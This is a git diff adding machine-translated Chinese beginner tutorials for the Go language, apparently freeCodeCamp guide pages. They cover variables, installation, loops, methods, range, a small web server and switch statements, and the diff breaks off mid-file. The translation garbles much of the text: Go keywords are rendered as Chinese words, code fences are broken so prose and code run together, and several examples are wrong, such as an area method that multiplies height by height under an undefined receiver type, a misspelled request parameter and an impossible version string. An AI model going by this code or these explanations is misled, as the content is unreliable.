diff --git a/client/src/guide/chinese/go/go-variables/index.md b/client/src/guide/chinese/go/go-variables/index.md
new file mode 100644
index 0000000000..0cbdd984b5
--- /dev/null
+++ b/client/src/guide/chinese/go/go-variables/index.md
@@ -0,0 +1,27 @@
+---
+title: Go Variables
+localeTitle: 去变量
+---
+# Go中的变量声明
+
+## 方法1：常规变量声明
+
+常规变量声明通过将标识符与类型和初始值绑定来创建一个或多个变量。如果声明的变量没有类型，则该变量将赋予赋值中相应初始化值的类型。如果定义的变量没有初始值，则将变量初始化[为零值](https://golang.org/ref/spec#The_zero_value) 。
+
+以下示例是go中的所有有效变量声明： “走吧 var x int = 1 var y int var z = 0 var a，b float32 = -1，-2
+```
+## Method 2: Short Variable Declarations 
+ 
+ Shorthand variable declarations create variables with only an identifier and an initial value. The `var` keyword and types are not needed to declare a variable using shorthand syntax: 
+```
+
+走 x：= 1 text，err：= ioutil.ReadAll（读者） \`\`\`
+
+简短变量声明可能仅出现在函数内部。在某些上下文中，例如`if` ， `for`或`switch`语句的初始化程序，它们可用于声明本地临时变量。
+
+#### 更多信息：
+
+*   [围棋之旅](https://tour.golang.org/basics/8)
+*   [以身作则](https://gobyexample.com/variables)
+*   [Golang Book](https://www.golang-book.com/books/intro/4)
+*   [Go编程语言规范](https://golang.org/ref/spec#Variable_declarations)
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/goroutines/index.md b/client/src/guide/chinese/go/goroutines/index.md
new file mode 100644
index 0000000000..5e8b3c7228
--- /dev/null
+++ b/client/src/guide/chinese/go/goroutines/index.md
@@ -0,0 +1,16 @@
+---
+title: Goroutines
+localeTitle: 够程
+---
+## 够程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/go/goroutines/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+*   [围棋之旅](https://tour.golang.org/concurrency/1)
+*   [以身作则](https://gobyexample.com/goroutines)
+*   [Golang Book](https://www.golang-book.com/books/intro/10)
+*   [Go编程语言规范](https://golang.org/ref/spec#Go_statements)
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/hello-world/index.md b/client/src/guide/chinese/go/hello-world/index.md
new file mode 100644
index 0000000000..4a3c45f66b
--- /dev/null
+++ b/client/src/guide/chinese/go/hello-world/index.md
@@ -0,0 +1,63 @@
+---
+title: Hello World in Go
+localeTitle: Go中的Hello World
+---
+要在计算机中安装Go，请从[此处](https://golang.org/dl/)下载其安装程序，然后按照这些[安装说明进行安装](https://golang.org/doc/install) 。
+
+## First Go计划
+
+创建一个名为`main.go`的文件，并在其中添加以下代码： -
+
+```go
+package main // Package declaration 
+ 
+ import "fmt" // Importing packages 
+ 
+ // Function declaration 
+ func main() { 
+    fmt.Println("Hello, World!") 
+ } 
+```
+
+现在，从终端/命令行运行上述程序。为此，请打开终端/命令行并移至`main.go`所在的目录。首先编译程序并运行`go build main.go`然后运行命令`go run main.go`来运行程序。 您应该看到类似于以下输出的ouptut： -
+```
+$ go build main.go 
+ $ go run main.go 
+ Hello, World! 
+```
+
+## 分析
+
+### 包裹声明
+
+```go
+package main 
+```
+
+在go中，每个程序都与“包”或相关程序的集合相关联。一个值得注意的例外是特殊包“main”，它向go complier指示它应该运行以下程序。
+
+### 进口
+```
+import “fmt” 
+```
+
+如果要使用其他包中的函数，则需要导入它们。 go维护者开发了一些软件包（称为“标准库”），可以在https://golang.org/pkg/找到。在这种情况下，我们需要打印语句的“fmt”包（如下所示）。
+
+### 功能声明
+
+```go
+func main() { 
+ } 
+```
+
+功能是任何程序的核心。它们可以有参数和返回值，但`main`函数不会执行这些操作。它充当“入口点”，或者首先运行您的程序。我们希望打印Hello World程序，因此我们希望将代码放在此处。
+
+### 打印声明
+
+```go
+fmt.Println("Hello, world!") 
+```
+
+Go不需要在行尾添加分号，因为编译器会自动添加分号。包`fmt` （我们在上面导入！）具有`Println`函数，我们使用它调用`.`句法。我们将参数传递给parens之间的函数。在这种情况下，参数是我们要打印的字符串（ `"Hello, world!"` ）。请注意，字符串本身用引号括起来。
+
+既然您已经拥有了必要的工具，那么就去制作自己的Go程序吧！最好的学习方法是尝试。如果您需要帮助，请尝试优秀的文档：https：//golang.org/doc/
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/if-else-statements/index.md b/client/src/guide/chinese/go/if-else-statements/index.md
new file mode 100644
index 0000000000..e2887c33b6
--- /dev/null
+++ b/client/src/guide/chinese/go/if-else-statements/index.md
@@ -0,0 +1,45 @@
+---
+title: if else Statements
+localeTitle: 如果是其他声明
+---
## 介绍
+
+`if`指定的条件为**true** ， `if`语句执行语句。如果条件为**false** ，则可以使用`else`语句执行另一个语句。
+
+**注意：** `else`语句是可选的。
+
+```Go
+  x := 7 
+  if x%2 == 0 { 
+    // This statement is executed if x is even 
+  } else { 
+    // This statement is executed if x is odd 
+  } 
+```
+
+可以嵌套多个`if...else`语句来创建`else if`子句。
+
+```go
+  x := 7 
+  if x == 2 { 
+    // this statement is executed if x is 2 
+  } else if x == 4 { 
+    // this statement is executed if x is 4 
+  } else if x == 7 { 
+    // this statement is executed if x is 7 
+  } else { 
+    // this statement is executed if none of the aboves is true 
+  } 
+```
+
+在Go中，您可以在`if`条件之前加上语句。然后，包含的变量定义对完整的`if`块有效。
+
+```go
+  if x := 3; x == 2 { 
+    // this statement is executed if x is 2 
+  } else if x == 3 { 
+    // this statement is executed if x is 3 
+  } else { 
+    // this statement is executed if none of the aboves is true 
+  } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/if/index.md b/client/src/guide/chinese/go/if/index.md
new file mode 100644
index 0000000000..9c785bd77b
--- /dev/null
+++ b/client/src/guide/chinese/go/if/index.md
@@ -0,0 +1,61 @@
+---
+title: If in Go
+localeTitle: 如果在Go
+---
+# 如果在Go
+
+Go的`if`语句就像`for`循环一样;表达式不必被括号括起来 `(` `)`但是大括号`{` `}`是必需的。
+
+```go
+func sqrt(x float64) string { 
+    if x < 0 { 
+        return sqrt(-x) + "i" 
+    } 
+    return fmt.Sprint(math.Sqrt(x)) 
+ } 
+```
+
+像`for`中， `if`语句可以用很短的语句中的条件之前执行启动。
+
+声明声明的变量仅在范围内，直到`if`结束。
+
+```go
+func pow(x, n, lim float64) float64 { 
+    if v := math.Pow(x, n); v < lim { 
+        return v 
+    } 
+    return lim 
+ } 
+```
+
+## 如果是，否则
+
+在`if` short语句中声明的变量也可以在任何`else`块中使用。
+
+```go
+package main 
+ 
+ import ( 
+    "fmt" 
+    "math" 
+ ) 
+ 
+ func pow(x, n, lim float64) float64 { 
+    if v := math.Pow(x, n); v < lim { 
+        return v 
+    } else { 
+        fmt.Printf("%g >= %g\n", v, lim) 
+    } 
+    // can't use v here, though 
+    return lim 
+ } 
+ 
+ func main() { 
+    fmt.Println( 
+        pow(3, 2, 10), 
+        pow(3, 3, 20), 
+    ) 
+ } 
+```
+
+运行上述程序会产生类似于以下输出的输出 - `$ go run if.go 27 >= 20 9 20`
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/index.md b/client/src/guide/chinese/go/index.md
new file mode 100644
index 0000000000..39426d5d56
--- /dev/null
+++ b/client/src/guide/chinese/go/index.md
@@ -0,0 +1,92 @@
+---
+title: Go
+localeTitle: 走
+---
+## 走
+
+![去碰碰](https://golang.org/doc/gopher/bumper320x180.png)
+
+**Go** （或**golang** ）是由Robert Griesemer，Rob Pike和Ken Thompson于2007年在Google创建的一种编程语言。它是Algol和C传统中的一种编译的静态类型语言。它具有垃圾收集，有限的结构类型，内存安全性以及添加的CSP风格的并发编程功能。最初由Google开发的编译器和其他语言工具都是免费和开源的。它的受欢迎程度越来越快。它是构建Web应用程序的绝佳选择。
+
+欲了解更多信息，请访问[Go的主页](https://golang.org/)
+
+想要快速[游览吗？](https://tour.golang.org/welcome/1)
+
+## ##预安装：
+
+#### 使用Homebrew安装Golang：
+
+```bash
+$ brew update 
+ $ brew install golang 
+```
+
+#### 安装后，尝试运行go版本以查看已安装的Go版本。
+
+## ###设置工作区：
+
+##### 添加环境变量：
+
+首先，您需要告诉Go您工作区的位置。
+
+我们将一些环境变量添加到shell配置中。其中一个文件位于您的主目录bash\_profile，bashrc或.zshrc（对于Oh My Zsh Army）
+
+```bash
+$ vi .bashrc 
+```
+
+\`
+
+然后添加这些行以导出所需的变量
+
+#### 这实际上是你的.bashrc文件
+
+```bash
+export GOPATH=$HOME/go-workspace # don't forget to change your path correctly! 
+ export GOROOT=/usr/local/opt/go/libexec 
+ export PATH=$PATH:$GOPATH/bin 
+ export PATH=$PATH:$GOROOT/bin 
+```
+
+## ####创建工作区：
+
+##### 创建工作区目录树：
+
+```bash
+$ mkdir -p $GOPATH $GOPATH/src $GOPATH/pkg $GOPATH/bin 
+ $GOPATH/src : Where your Go projects / programs are located 
+ $GOPATH/pkg : contains every package objects 
+ $GOPATH/bin : The compiled binaries home 
+```
+
+### 快速开始
+
+对于快速入门和样板Go项目，请尝试使用[Alloy](https://www.growthmetrics.io/open-source/alloy)
+
+1.  克隆合金存储库
+```
+git clone https://github.com/olliecoleman/alloy 
+ cd alloy 
+```
+
+2.  安装依赖项
+```
+glide install 
+ npm install 
+```
+
+3.  启动开发服务器
+```
+go install 
+ alloy dev 
+```
+
+4.  访问网站`http://localhost:1212`
+
+_Alloy使用Node，NPM和Webpack_
+
+### 去游乐场
+
+[去游乐场](https://play.golang.org/)
+
+学习如何在本地机器上安装go很重要，但是如果想要在浏览器中开始玩游戏，那么Go Playground就是您立即开始使用的完美沙盒！要了解有关Go Playground的更多信息，请参阅他们的文章“ [Inside the Go Playground”](https://blog.golang.org/playground)
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/installing-go/arch-linux/index.md b/client/src/guide/chinese/go/installing-go/arch-linux/index.md
new file mode 100644
index 0000000000..a42b8e7c02
--- /dev/null
+++ b/client/src/guide/chinese/go/installing-go/arch-linux/index.md
@@ -0,0 +1,23 @@
+---
+title: Installing Go in Arch Linux using pacman
+localeTitle: 使用pacman在Arch Linux中安装Go
+---
+### 使用pacman在Arch Linux中安装Go
+
+使用Arch Linux Package Manager（pacman）是安装Go的最简单方法。基于Arch Linux非常快速地提供新软件版本的理念，您将获得最新版本的go。 在安装go软件包之前，必须使系统保持最新状态。
+
+```sh
+$ sudo pacman -Syu 
+ $ sudo pacman -S go 
+```
+
+#### 检查go的安装和版本
+
+要检查go是否已成功安装，请使用：
+
+```sh
+$ go version 
+ > go version go2.11.1 linux/amd64 
+```
+
+这将向控制台打印go的版本，同时确保安装顺利进行。
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/installing-go/index.md b/client/src/guide/chinese/go/installing-go/index.md
new file mode 100644
index 0000000000..78b828d186
--- /dev/null
+++ b/client/src/guide/chinese/go/installing-go/index.md
@@ -0,0 +1,25 @@
+---
+title: Installing Go
+localeTitle: 安装Go
+---
+# 安装Go
+
+## 在Ubuntu中安装Go
+
+*   [使用apt-get安装Go](https://guide.freecodecamp.org/go/installing-go/ubuntu-apt-get) 。这是在ubuntu中安装go的最简单方法。
+*   [使用tarball安装Go](https://guide.freecodecamp.org/go/installing-go/ubuntu-tarball) 。如果您希望安装最新的稳定版本的go，请使用此方法。
+
+## 在Mac OS X中安装Go
+
+*   [使用Package Installer安装Go](https://guide.freecodecamp.org/go/installing-go/mac-package-installer) 。最简单的方法来安装最新的稳定版go。
+*   [使用tarball安装Go](https://guide.freecodecamp.org/go/installing-go/mac-tarball) 。对于那些希望使用终端的人。
+
+## 在Windows中安装Go
+
+*   [使用MSI安装程序安装Go](https://guide.freecodecamp.org/go/installing-go/windows-installer)
+
+## 从源代码安装Go
+
+*   要从源reffer安装Go到[源文档](https://golang.org/doc/install/source)的[安装](https://golang.org/doc/install/source)
+
+参考： [golang安装文档](https://golang.org/doc/install#install)
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/installing-go/mac-package-installer/index.md b/client/src/guide/chinese/go/installing-go/mac-package-installer/index.md
new file mode 100644
index 0000000000..7b55ce0922
--- /dev/null
+++ b/client/src/guide/chinese/go/installing-go/mac-package-installer/index.md
@@ -0,0 +1,19 @@
+---
+title: Installing Go in Mac OS X using Package Installer
+localeTitle: 使用Package Installer在Mac OS X中安装Go
+---
+### 使用Package Installer在Mac OS X中安装Go
+
+从[golang的下载页面](https://golang.org/dl/) ，获取Mac软件包安装程序（以.pkg结尾）并运行它。
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/mac_package_installer.jpg "Mac包安装程序链接")
+
+#### 检查go的安装和版本
+
+要检查是否已成功安装，请打开终端并使用：
+
+```sh
+$ go version 
+```
+
+这应该在控制台上打印go的版本，同时确保安装顺利进行。
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/installing-go/mac-tarball/index.md b/client/src/guide/chinese/go/installing-go/mac-tarball/index.md
new file mode 100644
index 0000000000..f9a086e76f
--- /dev/null
+++ b/client/src/guide/chinese/go/installing-go/mac-tarball/index.md
@@ -0,0 +1,32 @@
+---
+title: Installing Go in Mac OS X using a tarball
+localeTitle: 使用tarball在Mac OS X中安装Go
+---
+### 使用tarball在Mac OS X中安装Go
+
+#### 链接到tarball
+
+您可以从[golang下载页面](https://golang.org/dl/)的Latest Stable部分获取Mac OS tarball存档的链接。
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/mac_tarball.jpg "Mac tarball链接")
+
+#### 安装过程
+
+> 在此安装过程中，我们将在撰写本文时使用最新的稳定版本（转至1.9.1）。对于较新版本或较旧版本，只需在第一步中替换链接即可。查看[golang下载页面](https://golang.org/dl/) ，了解当前可用的版本。
+
+##### 安装Go 1.9.1
+```
+$ curl -O https://storage.googleapis.com/golang/go1.9.1.darwin-amd64.tar.gz 
+ $ sudo tar -C /usr/local -xzf go1.9.1.darwin-amd64.tar.gz 
+ $ export PATH=$PATH:/usr/local/go/bin 
+```
+
+#### 检查go的安装和版本
+
+要检查go是否已成功安装，请使用：
+
+```sh
+$ go version 
+```
+
+这应该在控制台上打印go的版本，同时确保安装顺利进行。
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/installing-go/ubuntu-apt-get/index.md b/client/src/guide/chinese/go/installing-go/ubuntu-apt-get/index.md
new file mode 100644
index 0000000000..2fb9e79487
--- /dev/null
+++ b/client/src/guide/chinese/go/installing-go/ubuntu-apt-get/index.md
@@ -0,0 +1,25 @@
+---
+title: Installing Go in Ubuntu using apt-get
+localeTitle: 使用apt-get在Ubuntu中安装Go
+---
+### 使用apt-get在Ubuntu中安装Go
+
+使用Ubuntu的Source Package Manager（apt-get）是安装Go的最简单方法。你不会得到最新的稳定版本，但为了学习这个应该就足够了。
+
+> 在撰写本文时，Ubuntu Xenial的版本是1.6.1，而最新版本 稳定版本是1.9.1
+
+```sh
+$ sudo apt-get update 
+ $ sudo apt-get install golang-go 
+```
+
+#### 检查go的安装和版本
+
+要检查go是否已成功安装，请使用：
+
+```sh
+$ go version 
+ > go version go1.9.1 linux/amd64 
+```
+
+这将向控制台打印go的版本，同时确保安装顺利进行。
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/installing-go/ubuntu-tarball/index.md b/client/src/guide/chinese/go/installing-go/ubuntu-tarball/index.md
new file mode 100644
index 0000000000..6c2b4865cc
--- /dev/null
+++ b/client/src/guide/chinese/go/installing-go/ubuntu-tarball/index.md
@@ -0,0 +1,60 @@
+---
+title: Installing Go in Ubuntu using a tarball
+localeTitle: 使用tarball在Ubuntu中安装Go
+---
+### 使用tarball在Ubuntu中安装Go
+
+> 如果您希望从golang网站获得最新的稳定版本，这是安装go的推荐方法。
+
+#### 检查您的系统架构
+
+在继续之前，请确保您知道您的系统是32位还是64位。如果您不知道，请运行以下命令以查找：
+
+```sh
+$ lscpu | grep Architecture 
+```
+
+如果您看到`Architecture: x86_64`您的系统是64位，否则如果您获得`Architecture: i686` ，那么您的系统是32位。既然您已了解系统架构，那就继续吧。
+
+#### 选择正确的tarball
+
+在[golang下载页面中](https://golang.org/dl/) ，您需要获取适用于您系统的正确tarball文件（.tar.gz）的链接。
+
+如果您的系统是64位，请将链接复制到具有x86\_64体系结构的Linux系统的.tar.gz文件。例如，在撰写本文时，最新的64位系统稳定版本是`go1.9.1.linux-amd64.tar.gz`
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/ubuntux64.jpg "x64 tarball链接")
+
+如果您的系统是32位，请将链接复制到带有x86体系结构的Linux系统的.tar.gz文件。在撰写本文时，最新文件是`go1.9.1.linux-386.tar.gz`
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/ubuntux86.jpg "x86 tarball链接")
+
+复制链接后，只需将下面的安装过程中的链接替换为您从下载页面获得的链接。
+
+#### 安装过程
+
+> 在这个安装过程中，我们将使用go 1.9.1 tarball的链接作为示例。对于较新版本或较旧版本，只需在第一步中替换链接即可。查看[golang下载页面](https://golang.org/dl/) ，了解当前可用的版本。
+
+##### 对于64位系统，请转到1.9.1：
+```
+$ wget https://storage.googleapis.com/golang/go1.9.1.linux-amd64.tar.gz 
+ $ sudo tar -C /usr/local -xzf go1.9.1.linux-amd64.tar.gz 
+ $ export PATH=$PATH:/usr/local/go/bin 
+```
+
+##### 对于32位系统，请转到1.9.1：
+```
+$ wget https://storage.googleapis.com/golang/go1.9.1.linux-386.tar.gz 
+ $ sudo tar -C /usr/local -xzf go1.9.1.linux-386.tar.gz 
+ $ export PATH=$PATH:/usr/local/go/bin 
+```
+
+#### 检查go的安装和版本
+
+要检查go是否已成功安装，请使用：
+
+```sh
+$ go version 
+ > go version go1.9.1 linux/amd64 
+```
+
+这将向控制台打印go的版本，同时确保安装顺利进行。
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/installing-go/windows-installer/index.md b/client/src/guide/chinese/go/installing-go/windows-installer/index.md
new file mode 100644
index 0000000000..3ca302d65d
--- /dev/null
+++ b/client/src/guide/chinese/go/installing-go/windows-installer/index.md
@@ -0,0 +1,26 @@
+---
+title: Installing Go in Windows using the MSI Installer
+localeTitle: 使用MSI安装程序在Windows中安装Go
+---
+### 使用MSI安装程序在Windows中安装Go
+
+从[golang的下载页面](https://golang.org/dl/) ，获取Windows MSI安装程序并运行它。您必须在64位和32位版本之间进行选择。如果您不知道Windows版本运行的架构，只需快速搜索Google即可查找。
+
+> 大多数当前版本的Windows都是64位，因此您可以在特色下载部分获得64位版本，但如果您的计算机已经很老了，32位版本应该是最安全的选择。
+
+##### 64位Windodows安装程序
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/win_installerx64.jpg "x64 Windows msi安装程序链接")
+
+##### 32位Windodows安装程序
+
+![screenshot of golang's download page as of this writting, highliting link](https://raw.githubusercontent.com/AlexandroPerez/resources/master/img/win_installerx86.jpg "x86 Windows msi安装程序链接")
+
+#### 检查go的安装和版本
+
+要检查是否已成功安装，请打开命令提示符并使用：
+```
+> go version 
+```
+
+这应该在控制台上打印go的版本，同时确保安装顺利进行。
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/loops/index.md b/client/src/guide/chinese/go/loops/index.md
new file mode 100644
index 0000000000..6a29d20116
--- /dev/null
+++ b/client/src/guide/chinese/go/loops/index.md
@@ -0,0 +1,53 @@
+---
+title: Loops
+localeTitle: 循环
+---
+# 对于Go中的循环
+
+Go只`for`循环。基本`for`循环有三个组件分隔`;` -
+
+*   **init**语句：在第一次迭代之前执行
+    
+*   **条件**表达式：在每次迭代之前计算
+    
+*   **post**语句：在每次迭代结束时执行
+    
+
+**init**语句通常是一个简短的变量声明。在那里声明的变量只在`for`语句的范围内可见。一旦布尔条件求值为false，循环就会停止迭代。
+
+`for`循环的一个例子如下 -
+
+**放弃**
+
+```go
+package main 
+ 
+ import "fmt" 
+ 
+ func main() { 
+    sum := 0 
+    for i := 0; i <= 10; i++ { 
+        sum += i 
+    } 
+    fmt.Println("The sum of first 10 natural numbers is", sum) 
+ } 
+```
+
+运行上述程序会产生类似于以下输出的输出 - \`\`\`  
+$ go run for.go 前10个自然数之和为55
+```
+You can use `continue` and `break` to adjust the loops flow 
+```
+
+走 //此代码打印最多5个奇数 对于n：= 0; n <= 10; n ++ { 如果n％2 == 0 { //如果数字甚至跳到下一个n 继续 } fmt.Println（n）的 //如果数字是5，则退出循环 如果n == 5 { 打破 } }
+```
+If you want to create an infinite loop just use `for { }` 
+```
+
+走 for { // Whill循环直到条件破坏循环 break //退出循环 }
+```
+## Replacement for while-loop 
+ To simulate while-loop of other languages, you can simply exclude the **init** and **post** statement: 
+```
+
+走 func main（）{ num：= 1 for num <= 1000 { num \* = 2 } fmt.Println（“1000以上2的最小功率”，num） } \`\`\`
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/methods/index.md b/client/src/guide/chinese/go/methods/index.md
new file mode 100644
index 0000000000..f174c5c79f
--- /dev/null
+++ b/client/src/guide/chinese/go/methods/index.md
@@ -0,0 +1,72 @@
+---
+title: Go Methods
+localeTitle: 去方法
+---
## 去方法
+
+Golang类型可以有方法。方法是具有特殊参数的函数，即_接收器_ 。
+
+```go
+type Rectangle struct { 
+  height, width int64 
+ } 
+ 
+ func (r Receiver) getArea() int64 { 
+  return r.height * r.height 
+ } 
+ 
+ r := Rectangle{10, 20} 
+ r.getArea() // 200 
+```
+
+这里，类型`Rectangle`有一个名为`getArea`的方法，它返回矩形的区域。 这里的接收器是`r` 。
+
+此代码相当于：
+
+```go
+type Rectangle struct { 
+  height, width int64 
+ } 
+ 
+ func getArea(r Receiver) int 64{ 
+  return r.height * r.height 
+ } 
+ 
+ r := Rectangle{10, 20} 
+ getArea(r) // 200 
+```
+
+现在getArea方法接收`r`作为参数，而不是接收器。功能相同。
+
+### 指针接收器
+
+您可以将指针作为接收者传递：
+
+```go
+type MyInt int64 
+ 
+ func (m *MyInt) setToZero() { 
+  *m = MyInt(0) 
+ } 
+ 
+ m := MyInt(10) 
+ m.setToZero() // m == 0 
+```
+
+### 扩展方法
+
+如果你想在其他包中定义的类型上创建一个方法，例如`int`你可以使用这样的简单包装：
+
+```go
+type MyInt int64 
+ 
+ func (m MyInt) add10() int64 { 
+  return m + 10 
+ } 
+ 
+ m := MyInt(10) 
+ m.add10() // 20 
+```
+
+#### 更多信息：
+
+https://tour.golang.org/methods/1
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/range/index.md b/client/src/guide/chinese/go/range/index.md
new file mode 100644
index 0000000000..ad9ed8bcbb
--- /dev/null
+++ b/client/src/guide/chinese/go/range/index.md
@@ -0,0 +1,63 @@
+---
+title: Range
+localeTitle: 范围
+---
+## 范围
+
+要在Go中迭代集合，我们可以使用范围。
+
+范围与for循环不同，因为索引不访问集合中的项。
+
+如果要访问集合中的特定元素，则for循环可能是更好的选项。
+
+这是一个例子：
+
+```go
+package main 
+ 
+ import "fmt" 
+ 
+ func main() { 
+  fruits := []string{"apple", "orange", "pear"} 
+ 
+  for _, fruit := range fruits { 
+    fmt.Println(fruit) 
+   } 
+ } 
+```
+
+将输出：
+```
+apple 
+ orange 
+ pear 
+```
+
+您可能已经注意到使用的空白标识符。
+
+空白标识符（或从范围返回的第一个变量）是项目的索引。
+
+这最适合在地图上进行测距，因此您可以获得关键和价值：
+
+```go
+package main 
+ 
+ import "fmt" 
+ 
+ func main() { 
+    kvs := map[string]string{"a": "apple", "b": "banana"} 
+    for k, v := range kvs { 
+        fmt.Printf("%s -> %s\n", k, v) 
+ 
+   } 
+ } 
+```
+
+走
+
+输出：
+```
+a -> apple 
+ b -> banana 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/receive-data-with-your-webserver/index.md b/client/src/guide/chinese/go/receive-data-with-your-webserver/index.md
new file mode 100644
index 0000000000..b6e580349f
--- /dev/null
+++ b/client/src/guide/chinese/go/receive-data-with-your-webserver/index.md
@@ -0,0 +1,65 @@
+---
+title: Receive data with your web server
+localeTitle: 使用Web服务器接收数据
+---
一旦设置了Web服务器并确保它可以提供一些有用的内容，您可能希望通过让它接受数据来使其更具交互性。让我们开始编写一些代码：
+
+```go
+package main 
+ 
+ import ( 
+  "net/http" 
+  "html/template" 
+ ) 
+ 
+ type PAGE struct { 
+  NAME string 
+ } 
+ 
+ var page PAGE 
+ 
+ func main() { 
+  http.HandleFunc("/", servePage) 
+  http.ListenAndServe(":8080", nil) 
+ } 
+ 
+ func servePage(writer http.ResponseWriter, reqest *http.Request) { 
+  page.NAME = request.FormValue("name") 
+  template := template.New("sayHello") 
+  template, _ = template.Parse("Hello {{.NAME}}!") 
+  template.Execute(writer, page) 
+ } 
+```
+
+让我们打破这段代码吧。首先，我们首先导入Web服务器的`net/http`和`html/template` 。本文假设您已经知道如何在Go中模板。如果你还不知道，你应该先阅读有关模板的文章。
+
+然后我们创建一个名为`PAGE`的类型，其中有一个名为`NAME`插槽（这是一个`string` ）。我们还创建了一个名为`page`的全局变量，它的类型为`PAGE` ：我们刚刚创建的结构。
+
+在`servePage`函数中，有一件事对本文非常重要：我们在`request`上运行的`FormValue`方法。
+
+在我们继续之前，您首先需要知道如何构建`URL` 。我们以下面的`URL`为例：
+```
+https://google.com/search?q=free+code+camp 
+```
+
+如果您在浏览器中输入上述`URL` ，则会执行Google搜索`free code camp`搜索。 `URL`构建如下：
+
+1.  `https://` - 这是协议
+2.  `google.com` - 这是域名和端口（在这种情况下没有提到端口 - 所以浏览器使用协议的默认端口）
+3.  `/search` - 这是路径
+4.  `q=free+code+camp` - 这是`query`
+
+查询是我们在本文中讨论的部分。 Google服务器看到此`URL`并且由于查询中的属性`q`和`q`的值 - 在这种情况下为`free+code+camp` - 它知道它应该搜索的位置。
+
+我们也可以将它应用于我们的服务器。让我们启动程序并浏览浏览器：
+```
+http://localhost:8080/?name=world 
+```
+
+答复将是：
+```
+Hello world! 
+```
+
+这个怎么用？好吧，我们给`FormValue`一个`name`参数。这种方式`FormValue`知道我们想要查询中`name`属性的值。在这种情况下，这是`world` ，所以该方法返回`world` 。然后将该字符串放入`page`变量中，模板完成剩下的工作。
+
+这当然是这个函数的一个非常简单的实现，但你可以用它做很多事情。例如：您可以接受电子邮件地址，并让程序将这些存储在文件中。
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/structs/index.md b/client/src/guide/chinese/go/structs/index.md
new file mode 100644
index 0000000000..6382c48a72
--- /dev/null
+++ b/client/src/guide/chinese/go/structs/index.md
@@ -0,0 +1,11 @@
+---
+title: Go Structs
+localeTitle: 去结构
+---
+## 去结构
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/go/structs/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/go/switch/index.md b/client/src/guide/chinese/go/switch/index.md
new file mode 100644
index 0000000000..ded830029e
--- /dev/null
+++ b/client/src/guide/chinese/go/switch/index.md
@@ -0,0 +1,134 @@
+---
+title: Switch in Go
+localeTitle: 切换到Go
+---
# 切换到Go
+
+Go的switch语句是`if`的替代语句。它使用以下语法：
+
+```go
+fruit := "apple" 
+ switch fruit { 
+    case "banana": 
+        fmt.Printf("Yellow and long.") 
+    case "apple": 
+        fmt.Printf("Red and round.") 
+    case "lemon": 
+        fmt.Printf("Yellow and round.") 
+ } 
+```
+
+该程序的输出将是`Red and round.` 。
+
+首先，我们将变量`fruit`声明为`apple` 。然后我们使用`fruit`变量作为条件表达式。 Go将`fruit`的价值与提供的`cases`进行比较：
+
+*   水果==“香蕉”（假）
+*   水果==“苹果”（true）
+
+注意`lemon`没有经过测试。评估返回true后，不再尝试任何案例。
+
+与`if` ，您可以在switch的条件表达式中声明临时变量：
+
+```go
+switch fruit := "apple"; fruit { 
+    case "banana": 
+        fmt.Printf("Yellow and long.") 
+    case "apple": 
+        fmt.Printf("Red and round.") 
+    case "lemon": 
+        fmt.Printf("Yellow and round.") 
+ } 
+```
+
+变量`fruit`不会在switch语句之外访问。
+
+## 默认和其他情况
+
+### 默认
+
+`default`关键字是没有其他情况返回true时的后备情况：
+
+```go
+switch fruit := "grape"; fruit { 
+    case "banana": 
+        fmt.Printf("Yellow and long.") 
+    case "apple": 
+        fmt.Printf("Red and round.") 
+    case "lemon": 
+        fmt.Printf("Yellow and round.") 
+    default: 
+        fmt.Printf("New fruit: %s!", fruit) 
+ } 
+```
+
+这个节目的输出将是`New fruit: grape!` 。
+
+### 不同值的相同操作
+
+以逗号分隔的值列表，用于将条件表达式值与相同的操作进行比较。
+
+```go
+switch fruit := "lemon"; fruit { 
+    case "banana", "lemon": 
+        fmt.Printf("Yellow fruit.") 
+    default: 
+        fmt.Printf("This fruit is a color different than yellow.") 
+ } 
+```
+
+产量： `Yellow fruit.` 。
+
+### 没有表达
+
+没有表达式的`switch true`意味着`switch true` 。这是else-if链的替代版本。
+
+```go
+fruit := "banana" 
+ switch { 
+    case fruit == "banana": 
+        fmt.Printf("Yellow and long.") 
+    default: 
+        fmt.Printf("This is not a banana.") 
+ } 
+```
+
+这会计算`true == (fruit == "banana")` ，simpleiefied to `true == true` ，返回true。
+
+### 打破
+
+您可以在switch语句中中断代码以跳过任何更多代码。
+
+```go
+appleColor := "green" 
+ switch fruit := "apple"; fruit { 
+    case "banana": 
+        fmt.Printf("Yellow and long.") 
+    case "apple": 
+        if appleColor == "green" { 
+            fmt.Printf("This apple is green!") 
+            break 
+        } 
+        fmt.Printf("This apple is tasty!") 
+    case "lemon": 
